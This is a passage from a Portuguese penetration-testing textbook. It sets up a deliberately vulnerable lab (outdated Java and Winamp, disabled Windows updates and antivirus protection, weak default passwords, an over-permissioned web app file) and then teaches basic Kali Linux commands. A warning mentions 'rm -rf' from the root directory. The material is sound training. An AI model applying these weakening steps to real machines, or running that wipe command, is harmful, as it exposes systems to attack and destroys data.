81Capítulo 1 ■ Configurando o seu laboratório virtual Instalando o alvo Ubuntu 8.10 Como o Linux tem código aberto, você pode simplesmente fazer o download da máquina virtual Linux como parte do torrent deste livro. Descompacte o arquivo 7-Zip BookUbuntu.7zip e utilize a senha 1stPentestBook?! para abrir o arquivo. Abra o arquivo .vmx no VMware. Se você vir uma mensagem que informe que a máqui- na virtual parece estar em uso, clique em Take Ownership (Assumir a propriedade) e, como ocorreu no Kali, selecione I copied it (Eu a copiei). O nome do usuário e a senha da máquina virtual propriamente dita são georgia:password. Depois que tiver a máquina virtual Ubuntu carregada, certifique-se de que a interface de rede esteja definida com Bridged no VMware e clique no ícone de rede (os dois computadores) na parte superior à direita da tela para conectar a máquina virtual à rede. Não instale nenhuma atualização, se você for solicitado a fazê-lo. Como ocorre no Windows XP, iremos explorar softwares desatualizados nesse sistema. Agora essa máquina virtual está totalmente instalada. (Mostrarei como definir um endereço IP estático no Linux no capítulo 2.) Criando o alvo Windows 7 Como ocorreu no Windows XP, será necessário instalar uma cópia do Windows 7 SP1 no VMware ao carregar a sua imagem ou o DVD. Uma versão trial de 30 dias do Windows 7 Professional SP1 32 bits funcionará bem, porém será necessário ativá-la após 30 dias se quiser continuar a usá-la. Para encontrar uma versão oficial do Windows 7 SP1, tente uma das opções a seguir: • Acesse http://www.softpedia.com/get/System/OS-Enhancements/Windows-7.shtml. • Acesse http://technet.microsoft.com/en-us/evalcenter/dn407368. N O T A Sua escola ou o seu local de trabalho podem ter acesso a programas como o DreamSpark ou o BizSpark que dão acesso aos sistemas operacionais Windows. Você também pode dar uma olhada em meu site (http://www. bulbsecurity.com/) para obter mais recursos. Criando uma conta de usuário Após ter instalado o Windows 7 Professional SP1, desative a opção para efetuar atualizações de segurança e crie o usuário Georgia Weidman como administrador, com uma senha igual a password, conforme mostrado nas figuras 1.49 e 1.50.
Testes de invasão82 Figura 1.49 – Definindo um nome de usuário. Figura 1.50 – Definindo uma senha para o usuário Georgia Weidman.
83Capítulo 1 ■ Configurando o seu laboratório virtual Novamente, desative as atualizações automáticas. Quando solicitado, defina o local corrente do computador para uma rede de trabalho. Após a instalação ter sido concluída, faça login com a conta Georgia Weidman. Deixe o Windows Firewall habilitado. O VMware fará a reinicialização do Windows 7 algumas vezes à medida que estiver instalando tudo. Agora diga ao VMware para instalar o VMware Tools, como foi feito na seção so- bre o Windows XP. Depois de ter instruído o VMware a instalar o VMware Tools na máquina virtual, se o instalador não for executado automaticamente, acesse My Computer (Meu computador) e execute o instalador do VMware Tools a partir do drive de DVD da máquina virtual, como mostrado na figura 1.51. Figura 1.51 – Instalando o VMware Tools. Desativando as atualizações automáticas Apesar de nossos ataques ao Windows 7 contarem amplamente com falhas em softwares de terceiros, em vez de basear-se na ausência de patches do Windows, vamos, novamente, desativar as atualizações do Windows nessa máquina virtual. Para isso, acesse Start4Control Panel4System and Security (Iniciar4Painel de Controle- 4Sistema e Segurança). Em seguida, em Windows Update, clique em Turn Automatic Updating On or Off (Ativar ou desativar a atualização automática). Defina Important updates (Atualizações importantes) com Never check for updates (not recommended) [Nunca verificar se há atualização (não recomendado)], como mostrado na figura 1.52. Clique em OK.
Testes de invasão84 Figura 1.52– Desativando as atualizações automáticas. Configurando um endereço IP estático Configure um endereço IP estático ao selecionar Start4Control Panel4Network and Internet4Network and Sharing Center4Change Adapter Settings4Local Area Network (Iniciar4Pai- nel de Controle4Rede e Internet4Central de rede e compartilhamento4Alterar as configurações do adaptador4Conexão local). Agora clique com o botão direito do mouse e selecione Properties4Internet Protocol Version 4 (TCP/IPv4)4Properties (Proprie- dades4Protocolo de Internet versão 4 (TCP/IPv4)4 Propriedades). Configure esses valores conforme foi feito para o Windows XP (discutido em “Configurando um endereço IP estático” na página 70), porém utilize um valor diferente para o endereço IP do Windows 7, como mostrado na figura 1.53. Se você for solicitado a informar se deseja configurar essa rede como Home (Doméstica), Work (Traba- lho) ou Public (Pública), selecione Work. (Certifique-se de que a configuração de rede de sua máquina virtual esteja definida para usar um adaptador com bridge.)
85Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.53– Configurando um endereço IP estático. Pelo fato de o firewall do Windows estar ativado, o Windows 7 não responderá a um ping efetuado a partir do sistema Kali. Sendo assim, faremos o ping de nosso sistema Kali a partir do Windows 7. Inicie a sua máquina virtual Kali Linux e, a partir de sua máquina virtual Windows 7, clique no botão Start (Iniciar). Em seguida, digite cmd no diálogo Run (Executar) para abrir um prompt de comandos do Windows. No prompt, digite o seguinte: ping <Endereço IP do Kali> Se tudo estiver funcionando, você deverá ver respostas à solicitação ping, como descrito na seção “Configurando um endereço IP estático” na página 70. Adicionando uma segunda interface de rede Agora desligue a sua máquina virtual Windows 7. Iremos adicionar uma se- gunda interface de rede nessa máquina virtual, o que permitirá que o sistema Windows 7 faça parte de duas redes. Utilizaremos essa configuração durante a fase de pós-exploração de falhas para simular o ataque a sistemas adicionais em uma segunda rede.
Testes de invasão86 No VMware Player do Microsoft Windows, selecione Player4Manage4Virtual Machine Settings4Add (Player4Administração4Configurações da máquina virtual4Adicionar), selecione Network Adapter (Adaptador de rede) e clique em Next (Próximo). Esse adaptador será o Network Adapter 2. No VMware Fusion no Mac OS, acesse Virtual Machine Settings (Configurações da máquina virtual), selecione Add a Device (Adicione um dispositivo) e selecione um adaptador de rede. Configure esse novo adaptador para a rede Host Only (Somente host). Clique em OK, e a máquina virtual deverá ser reiniciada. (Não é necessário configurar um endereço IP estático para o Network Adapter 2.) Quando a máquina virtual for iniciada, abra Virtual Machine Settings (Configurações da máquina virtual) novamente e você deverá ver os dois adaptadores de rede listados. Ambos deverão estar conectados quando o seu computador for ligado. Instalando softwares adicionais Agora instale os softwares a seguir em sua máquina virtual Windows 7 usando as configurações default ao longo do processo: • O Java 7 Update 6, que é uma versão desatualizada do Java, a partir de http://www.oldapps.com/java.php?old_java=8120/. • A versão 5.55 do Winamp a partir de http://www.oldapps.com/winamp. php?old_winamp=247/. (Remova a seleção para alterar a sua ferramenta de pesquisa e assim por diante.) • A versão mais recente do Mozilla Firefox a partir de http://www.mozilla.org/. • O Microsoft Security Essentials a partir de http://windows.microsoft.com/en-us/ windows/security-essentials-download/. (Faça o download das assinaturas mais recentes de antivírus, garantindo que a versão correta será baixada para a sua instalação de 32 bits do Windows. Não ative a submissão automática de amostras nem o scan na instalação. Além disso, desative a proteção em tempo real, por enquanto. Ativaremos esse recurso quando estudarmos a maneira de evitar os softwares antivírus no capítulo 12. Essa configuração pode ser encontrada na aba Settings (Configurações) em Real-time Protection (Proteção em tempo real). Desmarque a seleção de Turn on real-time protection (recommended) [Ativar proteção em tempo real (recomendado)], conforme mostrado na figura 1.54. Clique em Save changes (Salvar alterações).
87Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.54 – Desativando a proteção em tempo real. Por fim, instale a aplicação web BookApp personalizada, que se encontra no torrent deste livro. (1stPentestBook?! é a senha do arquivo.) Arrase e solte a pasta BookApp na máquina virtual Windows 7. Em seguida, siga as instruções contidas em InstallApp.pdf, que detalham a instalação do BookApp. Aqui está uma visão geral das instruções: 1. Execute Step1-install-iis.bat como administrador ao clicar com o botão di- reito do mouse no arquivo .bat e selecione Run as administrator (Executar como administrador). (Depois que a instalação estiver concluída, você poderá fechar qualquer janela DOS que permaneça aberta.) 2. Vá até a pasta SQL e execute SQLEXPRWT_x86_ENU.EXE. Instruções deta- lhadas, com imagens de telas capturadas, estão incluídas no PDF InstallApp. 3. Instale o Service Pack 3 ao executar SQLServer2008SP3-KB2546951-x86-ENU.exe. Ao ser avisado de que esse programa contém problemas conhecidos de compatibilidade, clique em OK para executá-lo e concluir a instalação. Opte por aceitar qualquer alteração. 4. Habilite Named Pipes (Pipes nomeados) usando o SQL Server Configuration Manager. 5. Retorne à pasta principal da aplicação e execute Step2-Modify-FW.bat como administrador.
Testes de invasão88 6. Instale o suporte ao XML para o MS SQL por meio de sqlxml_x86-v4.exe na pasta SQL. 7. Execute Step3-Install-App.bat como administrador a partir da pasta principal da aplicação. 8. Utilize o MS SQL Management Studio para executar o db.sql a partir da pasta SQL, conforme descrito em detalhes no PDF InstallApp. 9. Por fim, altere as permissões do usuário no arquivo AuthInfo.xml na pasta da aplicação do livro para conceder todas as permissões a IIS_USERS. Resumo Configuramos o nosso ambiente virtual, fizemos o download do Kali Linux e o personalizamos para os ataques, configuramos nossa rede virtual e nossos sistemas operacionais-alvo – o Windows XP, o Windows 7 e o Ubuntu. No próximo capítulo, iremos nos familiarizar com a linha de comando do Linux e estaremos no caminho certo para aprender a usar as diversas ferramentas e técnicas associadas aos testes de invasão, presentes neste livro.
89 capítulo 2 Usando o Kali Linux Ao longo deste livro, você usará o Kali Linux como plataforma de ataque. O Kali, sucessor do popular BackTrack Linux, é uma distribuição baseada em Debian, que vem com uma variedade de ferramentas de testes de invasão pré-instaladas e pré-configuradas. Qualquer pessoa que já tenha tentado configurar um pacote de testes de invasão desde o início, no dia anterior a uma operação de grande porte, sabe que fazer tudo funcionar corretamente pode ser extremamente complicado. Ter tudo pré-configurado no Kali pode fazer você economizar bastante tempo e evitar muitas dores de cabeça. O Kali Linux funciona exatamente como a distri- buição padrão Debian GNU/Linux, com várias ferramentas extras. Em vez de apontar e clicar no Kali, você usará a linha de comando Linux porque é aí que está a sua verdadeira eficácia. Neste capítulo, daremos uma olhada na execução de algumas tarefas comuns no Linux a partir da linha de comando. Se você já é um especialista em Linux, pode pular este capítulo e prosseguir para o capítulo 3; do contrário, reserve um tempo e mergulhe de cabeça aqui. Linha de comando do Linux A linha de comando do Linux tem o seguinte aspecto: root@kali:~# Assim como um prompt do DOS ou o terminal do Mac OS, a linha de comando do Linux dá acesso a um processador de comandos chamado Bash, que permite que você controle o sistema ao fornecer instruções baseadas em texto. Ao abrir a linha de comando, você verá o prompt root@kali#. Root corresponde ao superusuário em sistemas Linux, e esse usuário tem controle completo sobre o Kali.
Testes de invasão90 Para realizar operações no Linux, digite os comandos, juntamente com quaisquer opções relevantes. Por exemplo, para visualizar o conteúdo do diretório home do usuário root, digite o comando ls, conforme mostrado aqui: root@kali:~# ls Desktop Como você pode ver, não há muitos itens no diretório do usuário root; somente uma pasta chamada Desktop. Sistema de arquivos do Linux No mundo Linux, tudo é um arquivo: teclados, impressoras, dispositivos de rede – tudo. Todos os arquivos podem ser visualizados, editados, apagados, criados e movidos. O sistema de arquivos do Linux é constituído de uma série de diretórios que se originam na raiz do sistema de arquivos (/). Para ver o seu diretório corrente, digite pwd no terminal: root@kali:~# pwd /root Mudando de diretório Para ir para outro diretório, digite cd diretório usando o path absoluto ou relativo do novo diretório, de acordo com a sua localização corrente. O path absoluto cor- responde ao path de um arquivo em relação ao diretório root (/). Por exemplo, para ir para o seu desktop a partir de qualquer local, você deve fornecer o path absoluto do desktop, usando cd /root/Desktop para alcançar o desktop do usuário root. Se você estiver no diretório /root (o diretório home do usuário root), você pode usar o path relativo do desktop (ou seja, relativo à sua localização corrente) digitando cd Desktop, que também o conduzirá para o desktop. O comando cd .. faz você retroceder um nível no sistema de arquivos, como mostrado aqui: root@kali:~/Desktop# cd .. root@kali:~/# cd ../etc root@kali:/etc# Digitar cd .. a partir do diretório Desktop do usuário root nos leva de volta ao diretório home desse usuário. Digitar cd ../etc a partir daí nos leva de volta à raiz do sistema de arquivos e, em seguida, ao diretório /etc.
91Capítulo 2 ■ Usando o Kali Linux Conhecendo os comandos: as man pages Para conhecer melhor um comando e suas opções e seus argumentos, você pode consultar a sua documentação (ou seja, sua página de manual ou man page) por meio do comando man comando. Por exemplo, para saber mais a respeito do comando ls, digite man ls, conforme mostrado na listagem 2.1. Listagem 2.1 – Man page do Linux root@kali:~# man ls LS(1) User Commands LS(1) NAME ls - list directory contents SYNOPSIS ls [OPTION]... [FILE]... DESCRIPTION List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor --sort is speci- fied. Mandatory arguments to long options are mandatory for short options too. -a, --all do not ignore entries starting with . -A, --almost-all do not list implied . and .. --trecho omitido-- -l use a long listing format --trecho omitido-- A man page oferece informações úteis (embora não tenha uma aparência muito amigável) sobre o comando ls, incluindo o seu uso , a descrição e as opções disponíveis . Como você pode ver na seção de descrição em , o comando ls lista todos os arquivos do diretório de trabalho corrente por padrão, porém ls também pode ser usado para obter informações sobre um arquivo em particular. Por exemplo, de acordo com a man page, você pode utilizar a opção -a, juntamente com o ls, para mostrar todos os arquivos, incluindo os diretórios ocultos – diretórios que não são apresentados na listagem padrão do ls –, conforme mostrado na listagem 2.2.
Testes de invasão92 Listagem 2.2 – Usando uma opção com o ls root@kali:~# ls -a . .mozilla .. .msf4 .android .mysql_history .bash_history .nano_history --trecho omitido-- Como você pode ver, há vários diretórios ocultos no diretório do usuário root, todos os quais são precedidos por um caractere ponto (.). (No capítulo 8, veremos como esses diretórios que às vezes estão ocultos podem levar ao comprometimen- to de um sistema.) Você também pode ver as entradas . e .., que representam o diretório corrente e o diretório-pai, respectivamente. Privilégios dos usuários As contas dos usuários Linux oferecem recursos a um determinado indivíduo ou serviço. Um usuário pode fazer login com uma senha e pode ter determinados recursos oferecidos no sistema Linux, por exemplo, a capacidade de escrever em arquivos e navegar na Internet. Esse usuário pode não ser capaz de ver os arquivos que pertencem a outros usuários, e ele pode estar razoavelmente seguro de que os demais usuários não poderão igualmente ver os seus arquivos. Além das con- tas tradicionais de usuários utilizadas por uma pessoa que faça login com uma senha e acesse o sistema, os sistemas Linux também permitem que os softwares tenham uma conta de usuário. O software pode ter a capacidade de usar recursos do sistema para realizar sua tarefa, porém não poderá ler os arquivos privados dos demais usuários. A melhor prática aceita em sistemas Linux consiste em executar comandos do cotidiano com uma conta de usuário sem privilégios, em vez de executar tudo como o usuário root privilegiado para evitar causar danos inadvertidamente em seu sistema ou conceder privilégios excessivos aos comandos e às aplicações que você executar. Adicionando um usuário Por padrão, o Kali disponibiliza somente a conta privilegiada do usuário root. Embora muitas ferramentas de segurança exijam privilégios de root para serem executadas, você pode querer adicionar outra conta não privilegiada para usos di-
93Capítulo 2 ■ Usando o Kali Linux ários a fim de reduzir o potencial para danos em seu sistema. Lembre-se de que a conta root pode fazer de tudo no Linux, inclusive corromper todos os seus arquivos. Para adicionar um novo usuário georgia em seu sistema Kali, utilize o comando adduser, conforme mostrado na listagem 2.3. Listagem 2.3 – Adicionando um novo usuário root@kali:~# adduser georgia Adding user `georgia' ... Adding new group `georgia' (1000) ... Adding new user `georgia' (1000) with group `georgia' ... Creating home directory `/home/georgia' ... Copying files from `/etc/skel' ... Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully Changing the user information for georgia Enter the new value, or press ENTER for the default Full Name []: Georgia Weidman Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] Y Como você pode ver, além de adicionar um usuário ao sistema, um grupo georgia foi criado, um novo usuário foi adicionado a esse grupo , um diretório home foi criado para o usuário e o sistema solicita informações sobre o usuário, por exemplo, uma senha e o seu nome completo . Adicionando um usuário ao arquivo sudoers Quando você precisar fazer algo como um usuário normal, mas que exija privilé- gios de root, utilize o comando sudo, juntamente com o comando que você quer executar como root e, em seguida, forneça a sua senha. Para o usuário georgia recém-criado poder executar comandos privilegiados é necessário adicioná-lo ao arquivo sudoers, que especifica quais usuários podem usar o comando sudo. Para isso, digite adduser <nome do usuário> sudo, como mostrado a seguir:
Testes de invasão94 root@kali:~# adduser georgia sudo Adding user 'georgia' to group `sudo' ... Adding user georgia to group sudo Done. Trocando de usuário e utilizando o sudo Para trocar de usuário em sua sessão de terminal, por exemplo, do usuário root para georgia, utilize o comando su, conforme mostrado na listagem 2.4. Listagem 2.4 – Alternando para um usuário diferente root@kali:~# su georgia georgia@kali:/root$ adduser john bash: adduser: command not found georgia@kali:/root$ sudo adduser john [sudo] password for georgia: Adding user `john' ... Adding new group `john' (1002) ... Adding new user `john' (1002) with group `john' ... --trecho omitido-- georgia@kali:/root$ su Password: root@kali:~# A troca de usuários é feita por meio do comando su. Se você tentar executar coman- dos (por exemplo, o comando adduser) que exijam privilégios mais elevados que os do usuário corrente (georgia), o comando não será bem-sucedido (command not found) porque o comando adduser pode ser executado somente como root. Felizmente, conforme discutido antes, o comando sudo pode ser usado para exe- cutar um comando como root. Como o usuário georgia é membro do grupo sudo, você pode executar comandos privilegiados e pode ver que o usuário john foi adicionado ao sistema. Para retornar ao usuário root, digite o comando su sem fornecer o nome do usu- ário. Você será solicitado a fornecer a senha do usuário root (toor).
95Capítulo 2 ■ Usando o Kali Linux Criando um novo arquivo ou diretório Para criar um arquivo novo e vazio chamado myfile, utilize o comando touch. root@kali:# touch myfile Para criar um diretório novo em seu diretório de trabalho corrente, digite mkdir diretório, conforme mostrado aqui: root@kali:~# mkdir mydirectory root@kali:~# ls Desktop mydirectory myfile root@kali:~# cd mydirectory/ Utilize ls para confirmar que o diretório novo foi criado e, em seguida, vá para mydirectory usando cd. Copiando, movendo e apagando arquivos Para copiar um arquivo, utilize o comando cp, como mostrado aqui: root@kali:/mydirectory# cp /root/myfile myfile2 O comando tem a seguinte sintaxe: cp origem destino. Ao usar cp, o arquivo original permanece inalterado e uma cópia é criada no destino desejado. De modo semelhante, você pode mover um arquivo de um local para outro por meio do comando mv. A sintaxe é idêntica à de cp, porém, dessa vez, o arquivo é transferido do local de origem para o destino. Um arquivo pode ser apagado do sistema de arquivos por meio do comando rm arquivo. Para apagar arquivos recursivamente, utilize o comando -r. A V I S O Tome cuidado ao apagar arquivos, particularmente de forma recursiva! Alguns hackers brincam que o primeiro comando a ser ensinado aos iniciantes em Linux é rm -rf a partir do diretório root, que apaga necessariamente todo o sistema de arquivos. Isso mostra aos novos usuários o poder de executar ações como root. Não tente fazer isso em casa! Adicionando texto a um arquivo O comando echo ecoa o que quer que você digite no terminal, conforme mostrado aqui: root@kali:/mydirectory# echo hello georgia hello georgia
Testes de invasão96 Para salvar texto em um arquivo, você pode redirecionar a sua entrada para um arquivo por meio do símbolo >, em vez de enviá-la para o terminal. root@kali:/mydirectory# echo hello georgia > myfile Para ver o conteúdo de seu novo arquivo, utilize o comando cat. root@kali:/mydirectory# cat myfile hello georgia Agora envie uma linha de texto diferente para myfile, como mostrado a seguir: root@kali:# echo hello georgia again > myfile root@kali:/mydirectory# cat myfile hello georgia again O comando > sobrescreve o conteúdo anterior do arquivo. Se você enviar outra linha para myfile, essa nova linha sobrescreverá a saída do comando anterior. Como você pode ver, o conteúdo de myfile agora é igual a hello georgia again. Concatenando texto a um arquivo Para concatenar texto a um arquivo, utilize >>, conforme mostrado aqui: root@kali:/mydirectory# echo hello georgia a third time >> myfile root@kali:/mydirectory# cat myfile hello georgia again hello georgia a third time Como você pode notar, a concatenação preserva o conteúdo anterior do arquivo. Permissões de arquivo Se você observar a longa saída de ls -l em myfile será possível ver as permissões correntes de myfile. root@kali:~/mydirectory# ls -l myfile -rw-r--r-- 1 root root 47 Apr 23 21:15 myfile Da esquerda para a direita, você pode ver o tipo do arquivo e as permissões (-rw-r—r--), a quantidade de links para o arquivo (1), o usuário e o grupo que são os donos do arquivo (root), o tamanho do arquivo (47 bytes), a última vez que o arquivo foi alterado (April 23, 21:15) e, por fim, o nome do arquivo (myfile).
97Capítulo 2 ■ Usando o Kali Linux Os arquivos Linux têm permissões para leitura (r), escrita (w) e execução (x), além de três conjuntos de permissões de usuário: permissões para o dono, para o grupo e para todos os usuários. As três primeiras letras representam as permissões para o dono, as três letras seguintes representam as permissões para o grupo, e as três últimas as permissões para todos os usuários. Como myfile foi criado a partir da conta de usuário root, os donos do arquivo são o usuário root e o grupo root, como você pode observar na saída, que contém root root. O usuário root tem permis- sões de leitura e de escrita no arquivo (rw). Outros usuários do grupo, se houver, poderão ler o arquivo (r), porém não poderão escrever nele, nem executá-lo. O último r mostra que todos os usuários do sistema de arquivos podem ler o arquivo. Para alterar as permissões sobre um arquivo, utilize o comando chmod. O coman- do chmod pode ser usado para especificar permissões para o dono, para o grupo e para os demais usuários. Ao especificar as permissões, utilize os números de 0 a 7, conforme mostrado na tabela 2.1. Tabela 2.1 – Permissões para os arquivos no Linux Valor inteiro Permissões Representação binária 7 todas 111 6 leitura e escrita 110 5 leitura e execução 101 4 somente leitura 100 3 escrita e execução 011 2 somente escrita 010 1 somente execução 001 0 nenhuma 000 Ao fornecer novas permissões aos arquivos, utilize um dígito para o dono, um para o grupo e um para os demais usuários. Por exemplo, para conceder todas as permissões ao dono, porém nenhuma permissão para leitura, escrita ou execução de um arquivo ao grupo e aos demais, utilize chmod 700 desta maneira: root@kali:~/mydirectory# chmod 700 myfile root@kali:~/mydirectory# ls -l myfile -rwx------ 1 root root 47 Apr 23 21:15 myfile Agora, quando o comando ls -l for executado em myfile, você poderá ver que o usuário root tem permissões para leitura, escrita e execução (rwx) e que os demais conjuntos estão em branco . Se tentar acessar os arquivos como qualquer usuário que não seja o root, você obterá um erro de permissão não concedida.
Testes de invasão98 Editando arquivos Talvez nenhum debate suscite tanta paixão entre os usuários de Linux quanto a discussão sobre qual é o melhor editor de arquivos. Daremos uma olhada no básico sobre o uso de dois editores populares, o vi e o nano, começando pelo meu favorito, que é o nano. root@kali:~/mydirectory# nano testfile.txt Depois que estiver no nano, você pode começar a adicionar texto em um arquivo novo chamado testfile.txt. Ao abrir o nano, você deverá ver um arquivo em bran- co com informações de ajuda para o nano, mostradas na parte inferior da tela, conforme apresentado aqui: [ New File ] ^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos ^X Exit ^J Justify ^W Where Is ^V Next Page ^U UnCut Text^T To Spell Para adicionar texto ao arquivo, basta começar a digitar. Pesquisando textos Para procurar um texto em um arquivo, utilize Ctrl-W e, em seguida, forneça o texto a ser pesquisado no prompt, como mostrado a seguir: --trecho omitido-- Search:georgia ^G Get Help ^Y First Line^T Go To Line^W Beg of ParM-J FullJstifM-B Backwards ^C Cancel ^V Last Line ^R Replace ^O End of ParM-C Case SensM-R Regexp O nano deverá encontrar o texto georgia caso essa palavra esteja no arquivo. Para sair, tecle Ctrl-X. Você será interrogado se deseja salvar o arquivo ou se quer ignorar as alterações, como mostrado aqui: --trecho omitido-- Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ? Y Y Yes N No ^C Cancel Digite Y para salvar o arquivo. Agora iremos editar o arquivo usando o editor vi.
99Capítulo 2 ■ Usando o Kali Linux Editando um arquivo com o vi Adicione o texto da listagem 2.5 em testfile.txt. Além do conteúdo do arquivo, na parte inferior da tela do vi, você verá algumas informações que incluem o nome do arquivo, a quantidade de linhas e a posição atual do cursor (veja a listagem 2.5.). Listagem 2.5 – Editando arquivos com o vi root@kali:~/mydirectory# vi testfile.txt hi georgia we are teaching pentesting today ~ "testfile.txt" 7L, 46C 1,1 All De modo diferente do nano, você não pode simplesmente começar a editar o ar- quivo depois que ele é aberto no vi. Para editar um arquivo, digite I para colocar o vi em modo de inserção. Você deverá ver a palavra INSERT sendo exibida na parte inferior de seu terminal. Depois que você concluir as suas alterações, tecle esc para sair do modo de inserção e retornar para o modo de comando. Depois que estiver em modo de comando, você poderá usar os comandos para editar o seu texto. Por exemplo, posicione o cursor na linha we e digite dd para apagar a palavra we do arquivo. Para sair do vi, digite :wq para dizer-lhe para gravar as alterações no arquivo e sair, conforme mostrado na listagem 2.6. Listagem 2.6 – Salvando as alterações no vi hi georgia are teaching pentesting today :wq
Testes de invasão100 N O T A Para conhecer melhor os comandos disponíveis no vi e no nano, leia as man pages correspondentes. Cabe a você escolher o editor que será usado no cotidiano. Ao longo deste livro, usaremos o nano para editar arquivos, mas sinta-se à vontade para substituí-lo pelo editor de sua preferência. Manipulação de dados Agora vamos falar um pouco sobre manipulação de dados. Insira o texto que está na listagem 2.7 em myfile usando o editor de texto de sua preferência. O arquivo lista algumas de minhas conferências prediletas de segurança e os meses em que elas normalmente ocorrem. Listagem 2.7 – Lista de exemplo para manipulação de dados root@kali:~/mydirectory# cat myfile 1 Derbycon September 2 Shmoocon January 3 Brucon September 4 Blackhat July 5 Bsides * 6 HackerHalted October 7 Hackcon April Usando o grep O comando grep procura instâncias de uma string de texto em um arquivo. Por exemplo, para pesquisar todas as instâncias da string September em nosso arquivo, digite grep September myfile, como mostrado a seguir: root@kali:~/mydirectory# grep September myfile 1 Derbycon September 3 Brucon September Como você pode ver, o comando grep nos informa que o Derbycon e o Brucon acontecem em setembro. Agora suponha que você queira somente os nomes das conferências que ocorram em setembro, mas não quer nem o número nem o mês. A saída do grep pode ser enviada a outro comando por meio de um pipe (|) para que um processamento
101Capítulo 2 ■ Usando o Kali Linux adicional seja feito. O comando cut permite tomar cada linha de entrada, selecionar um delimitador e exibir campos específicos. Por exemplo, para obter somente os nomes das conferências que ocorrem em setembro, você pode usar o grep para procurar a palavra September, como foi feito anteriormente. Em seguida, faça o pipe (|) da saída para cut, em que você especificará um espaço em branco como delimitador por meio da opção -d e dirá que você quer o segundo campo por meio da opção de campo (-f), como mostrado aqui: root@kali:~/mydirectory# grep September myfile | cut -d " " -f 2 Derbycon Brucon O resultado, como você pode ver, é que ao efetuar o pipe dos dois comandos, você obtém somente as conferências Derbycon e Brucon. Usando o sed Outro comando para manipulação de dados é o sed. Livros inteiros já foram escritos sobre o uso do sed, porém discutiremos somente o básico aqui, com um exemplo simples que envolve encontrar uma palavra específica e substituí-la. O comando sed é ideal para editar arquivos automaticamente, de acordo com determinados padrões ou expressões. Suponha, por exemplo, que você tenha um arquivo bem extenso, e que você deva substituir todas as ocorrências de uma determinada palavra. Isso pode ser feito de forma rápida e automática com o comando sed. Na linguagem do sed, uma barra (/) corresponde ao caractere delimitador. Por exemplo, para substituir todas as ocorrências da palavra Blackhat por Defcon em myfile, digite sed 's/Blackhat/Defcon/' myfile, conforme mostrado na listagem 2.8. Listagem 2.8 – Substituindo palavras com o sed root@kali:~/mydirectory# sed 's/Blackhat/Defcon/' myfile 1 Derbycon September 2 Shmoocon January 3 Brucon September 4 Defcon July 5 Bsides * 6 HackerHalted October 7 Hackcon April
Testes de invasão102 Correspondência de padrões com o awk Outro utilitário de linha de comando para correspondência de padrões é o co- mando awk. Por exemplo, se você quiser encontrar as conferências cujos números sejam iguais ou maiores do que 6, awk pode ser usado para pesquisar o primeiro campo à procura das entradas que sejam maiores do que 5, como mostrado aqui: root@kali:~/mydirectory# awk '$1 >5' myfile 6 HackerHalted October 7 Hackcon April Ou, se você quiser somente a primeira e a terceira palavras de cada linha, digite awk '{print $1,$3;}' myfile, como mostrado na listagem 2.9. Listagem 2.9 – Selecionando determinadas colunas com o awk root@kali:~/mydirectory# awk '{print $1,$3;}' myfile 1 September 2 January 3 September 4 July 5 * 6 October 7 April N O T A Vimos apenas exemplos simples de uso desses utilitários para manipulação de dados nesta seção. Para obter mais informações, consulte as man pages. Esses utilitários podem representar recursos eficazes para economizar tempo. Administrando pacotes instalados Nas distribuições de Linux baseadas em Debian, como é o caso do Kali Linux, você pode usar o Advanced Packaging Tool (apt) para administrar os pacotes. Para instalar um pacote, digite apt-get install pacote. Por exemplo, para instalar o Armitage no Kali Linux, que é o front-end de Raphael Mudge para o Metasploit, digite o comando a seguir: root@kali:~# apt-get install armitage É simples assim: o apt instala e configura o Armitage para você.
103Capítulo 2 ■ Usando o Kali Linux Atualizações são regularmente disponibilizadas para as ferramentas instaladas no Kali Linux. Para obter as versões mais recentes dos pacotes já instalados, digite apt-get upgrade. Os repositórios que o Kali utiliza para os pacotes estão listados no arquivo /etc/apt/sources.list. Para acrescentar mais repositórios, você pode editar esse arquivo e, em seguida, executar o comando apt-get update para atualizar o banco de dados e incluir os novos repositórios. N O T A Este livro está baseado na instalação do Kali 1.0.6, conforme observação feita no capítulo 1, portanto, para acompanhá-lo na forma em que ele se encontra, não atualize o Kali. Processos e serviços No Kali Linux, você pode iniciar, interromper ou reiniciar serviços por meio do comando service. Por exemplo, para iniciar o servidor web Apache, digite service apache2 start, como mostrado a seguir: root@kali:~/mydirectory# service apache2 start [....] Starting web server: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName . ok De modo semelhante, para interromper o servidor de banco de dados MySQL, digite service mysql stop. Administrando redes Ao configurar as máquinas virtuais do Kali Linux no capítulo 1, você utilizou o comando ifconfig para visualizar as informações de rede, conforme mostrado na listagem 2.10. Listagem 2.10 – Visualizando as informações de rede com o ifconfig root@kali:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:df:7e:4d inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1756332 errors:930193 dropped:17 overruns:0 frame:0 TX packets:1115419 errors:0 dropped:0 overruns:0 carrier:0
Testes de invasão104 collisions:0 txqueuelen:1000 RX bytes:1048617759 (1000.0 MiB) TX bytes:115091335 (109.7 MiB) Interrupt:19 Base address:0x2024 --trecho omitido-- A partir da saída do ifconfig, você pode obter muitas informações sobre o estado de rede de seu sistema. Para começar, a interface de rede chama-se eth0 . O endereço IPv4 (inet addr) que o meu pacote Kali usa para conversar com a rede é 192.168.20.9 (o seu provavelmente será diferente). Um endereço IP corresponde a um rótulo de 32 bits atribuído aos dispositivos em uma rede. O endereço IP é constituído de 4 octetos, ou partes de 8 bits. A máscara de rede do endereço, ou netmask (Mask) em identifica quais porções do endereço IP fazem parte da rede e quais pertencem ao host. Nesse caso, a máscara de rede 255.255.255.0 informa que a rede corresponde aos três primeiros octetos, ou seja, 192.168.20. O gateway default é o local para onde o seu host direciona o tráfego para outras redes. Qualquer tráfego destinado para fora da rede local será enviado ao gateway default para que ele descubra para onde deverá enviá-lo. root@kali:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric 